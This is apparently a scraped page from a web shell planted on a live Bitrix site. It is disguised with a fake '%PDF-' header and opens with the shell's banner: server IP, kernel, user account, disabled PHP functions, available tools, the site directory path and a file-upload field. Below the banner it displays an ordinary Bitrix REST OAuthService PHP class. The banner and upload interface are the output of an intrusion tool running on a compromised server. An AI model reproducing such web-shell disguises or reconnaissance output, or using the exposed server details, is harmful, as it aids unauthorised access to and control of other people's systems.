%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.9.82 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/rest/lib/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage rest * @copyright 2001-2016 Bitrix */ namespace Bitrix\Rest; use Bitrix\Main\ArgumentException; use Bitrix\Main\Context; use Bitrix\Main\Localization\Loc; use Bitrix\Main\SystemException; use Bitrix\Main\Web\HttpClient; use Bitrix\Main\Web\Json; use Bitrix\Rest\OAuth\Engine; Loc::loadMessages(__FILE__); if(!defined("BITRIX_OAUTH_URL")) { $defaultValue = \Bitrix\Main\Config\Option::get('rest', 'oauth_server', 'https://oauth.bitrix.info'); define("BITRIX_OAUTH_URL", $defaultValue); } if(!defined('BITRIXREST_URL')) { define('BITRIXREST_URL', BITRIX_OAUTH_URL); } class OAuthService { const SERVICE_URL = BITRIXREST_URL; const CLIENT_TYPE = 'B'; const REGISTER = "/oauth/register/"; protected static $engine = null; /** * @return \Bitrix\Rest\OAuth\Engine */ public static function getEngine() { if(!static::$engine) { static::$engine = new Engine(); } return static::$engine; } public static function register() { $httpClient = new HttpClient(); $queryParams = array( "redirect_uri" => static::getRedirectUri(), "type" => static::CLIENT_TYPE, ); $memberId = \CRestUtil::getMemberId(); if($memberId !== null) { $queryParams["member_id"] = $memberId; } $queryParams = \CRestUtil::signLicenseRequest($queryParams, static::getEngine()->getLicense()); $httpResult = $httpClient->post(static::SERVICE_URL.static::REGISTER, $queryParams); try { $result = Json::decode($httpResult); } catch(ArgumentException $e) { $result = array( "error" => "Wrong answer from service: ".$httpResult, ); } if($result["error"]) { throw new SystemException($result["error"]); } else { static::getEngine()->setAccess($result); } } public static function unregister() { if(static::getEngine()->isRegistered()) { static::getEngine()->clearAccess(); } } public static function getMemberId() { if(static::getEngine()->isRegistered()) { return md5(static::getEngine()->getClientId()); } else { return null; } } public static function getRedirectUri() { $request = Context::getCurrent()->getRequest(); $server = Context::getCurrent()->getServer(); $host = defined('BX24_HOST_NAME') ? BX24_HOST_NAME : $server->getHttpHost(); return ($request->isHttps() ? 'https' : 'http').'://'.preg_replace("/:(443|80)$/", "", $host); } }